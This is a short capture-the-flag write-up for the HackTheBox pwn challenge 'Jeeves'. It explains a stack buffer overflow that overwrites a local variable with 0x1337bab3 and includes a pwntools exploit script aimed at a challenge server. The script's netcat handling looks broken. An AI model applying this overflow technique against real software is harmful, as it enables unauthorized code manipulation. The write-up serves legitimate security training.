Jeeves
Jeeves
Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
How are you doing, sir?
Solution Approach
Core idea: Local Variable Overwrite.
Steps
-
First, unzip the
.zipfile given. -
Now check the file type.
-
Now, we know it's a binary file.
-
Let's check the binary's protection.
-
Based on it, we know that we can do bufferoverflow concept.
-
Anyway let's run chmod so we can execute the binary file. Then execute the file.
-
Run the file in gdb, and paste 1024 cyclic pattern as the input.
-
Got segmentation fault, now copy all characters from RBP.
-
And check the correct bytes to overflow the buffer by run
cylic -l. -
Great! Now we know the correct bytes to overflow the buffer is 64 bytes, so we need to add 60 padding bytes.
-
Now let's decompile the file using ghidra and check the
main()function. -
Based from the
main()function, we need to overwrite thelocal_cvalues so to 0x1337bab3 so we can get the flag. -
To solve this we can convert the hex in little-endian format -> \xb3\xba\x37\x13.
-
Then add them after the 60 bytes.
-
For this solution, i made a python script using pwntools.
THE SCRIPT
py read-only • copy allowedfrom pwn import * import os os.system('clear') context.log_level = 'debug' #sh = remote('68.183.47.198',31162) #68.183.47.198:31162 sh = process("nc") sh.sendline("68.183.47.198 31162") p = b'A' * 60 p += p64(322419379) # 0x1337bab3 #sh.recvuntil("? ") sh.sendline(p) sh.interactive()
OUTPUT
- Got the flag!
Flag
REDACTED
Lessons Learned
- Local Variable Overwrite.